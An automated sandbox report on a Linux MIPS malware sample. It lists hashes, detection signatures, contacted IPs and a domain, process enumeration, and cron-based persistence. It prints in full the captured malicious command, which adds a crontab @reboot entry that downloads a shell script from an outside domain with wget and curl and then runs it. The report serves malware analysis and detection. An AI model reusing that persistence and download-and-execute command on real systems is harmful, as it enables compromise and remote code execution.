Linux Analysis Report
mips.elf

Overview

General Information

Sample name: mips.elf
Analysis ID: 1542845
MD5: 2bc1855eb4297c28116e412b6705e14a
SHA1: 4d8189399c887b335e1d690961e38b806948d9cd
SHA256: 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Found strings indicative of a multi-platform dropper
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: mips.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: mips.elf ReversingLabs: Detection: 15%
Found strings indicative of a multi-platform dropper
Source: tmp.fI62Ih.19.dr String: @reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 195.133.92.51 ports 8089,0,1,2,12702,7
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:42490 -> 185.82.200.181:18483
Source: global traffic TCP traffic: 192.168.2.23:49654 -> 195.133.92.51:12702
Source: global traffic TCP traffic: 192.168.2.23:59388 -> 193.233.193.45:2052
Source: global traffic TCP traffic: 192.168.2.23:44542 -> 86.107.100.80:5854
Source: global traffic TCP traffic: 192.168.2.23:40288 -> 213.182.204.57:14442
Source: global traffic TCP traffic: 192.168.2.23:48836 -> 88.151.195.22:7336
Source: global traffic TCP traffic: 192.168.2.23:38028 -> 194.87.198.29:5090
Sample listens on a socket
Source: /tmp/mips.elf (PID: 6238) Socket: 127.0.0.1:1172 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 65.21.1.106
Source: unknown UDP traffic detected without corresponding DNS query: 65.21.1.106
Source: unknown UDP traffic detected without corresponding DNS query: 65.21.1.106
Source: unknown UDP traffic detected without corresponding DNS query: 65.21.1.106
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 178.254.22.166
Source: unknown UDP traffic detected without corresponding DNS query: 178.254.22.166
Source: unknown UDP traffic detected without corresponding DNS query: 81.169.136.222
Source: unknown UDP traffic detected without corresponding DNS query: 81.169.136.222
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: unknown UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: global traffic DNS traffic detected: DNS query: kingstonwikkerink.dyn
Source: tmp.fI62Ih.19.dr String found in binary or memory: http://hailcocks.ru/wget.sh;
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal68.troj.linELF@0/1@19/0

Persistence and Installation Behavior
barindex
Executes the "crontab" command typically for achieving persistence
Source: /bin/sh (PID: 6244) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 6243) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Sample tries to persist itself using cron
Source: /usr/bin/crontab (PID: 6243) File: /var/spool/cron/crontabs/tmp.fI62Ih Jump to behavior
Source: /usr/bin/crontab (PID: 6243) File: /var/spool/cron/crontabs/root Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6384/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6383/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6067/cmdline Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6386/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6385/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6311/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6388/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6387/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6379/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6389/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6380/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6391/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6390/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6382/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6393/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6381/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6392/status Jump to behavior
Source: /tmp/mips.elf (PID: 6247) File opened: /proc/6309/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6384/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6383/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6067/cmdline Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6386/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6385/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6388/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6365/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6387/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6379/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6389/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6380/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6391/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6390/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6382/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6393/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6381/status Jump to behavior
Source: /tmp/mips.elf (PID: 6309) File opened: /proc/6392/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/mips.elf (PID: 6240) Shell command executed: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -" Jump to behavior
Source: submitted sample Stderr: no crontab for root: exit code = 0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/mips.elf (PID: 6238) Queries kernel information via 'uname': Jump to behavior
Source: mips.elf, 6238.1.00005562c5e24000.00005562c5ecc000.rw-.sdmp, mips.elf, 6245.1.00005562c5e24000.00005562c5ecc000.rw-.sdmp Binary or memory string: bU!/etc/qemu-binfmt/mips
Source: mips.elf, 6238.1.00005562c5e24000.00005562c5ecc000.rw-.sdmp, mips.elf, 6245.1.00005562c5e24000.00005562c5ecc000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: mips.elf, 6238.1.00007ffc99f3c000.00007ffc99f5d000.rw-.sdmp, mips.elf, 6245.1.00007ffc99f3c000.00007ffc99f5d000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.elf
Source: mips.elf, 6238.1.00007ffc99f3c000.00007ffc99f5d000.rw-.sdmp, mips.elf, 6245.1.00007ffc99f3c000.00007ffc99f5d000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.82.200.181
 unknown Netherlands
60117 HSAE false
213.182.204.57
 unknown Latvia
9009 M247GB false
194.87.198.29
 unknown Russian Federation
49352 LOGOL-ASRU false
195.133.92.51
 unknown Russian Federation
197695 AS-REGRU true
193.233.193.45
 unknown Russian Federation
2895 FREE-NET-ASFREEnetEU false
109.202.202.202
 unknown Switzerland
13030 INIT7CH false
86.107.100.80
 unknown Romania
38995 AMG-ASRO false
88.151.195.22
 unknown Azerbaijan
15723 AZERONLINEAZ false
91.189.91.43
 unknown United Kingdom
41231 CANONICAL-ASGB false
91.189.91.42
 unknown United Kingdom
41231 CANONICAL-ASGB false

Contacted Domains

Name IP Active
kingstonwikkerink.dyn 81.29.149.178 true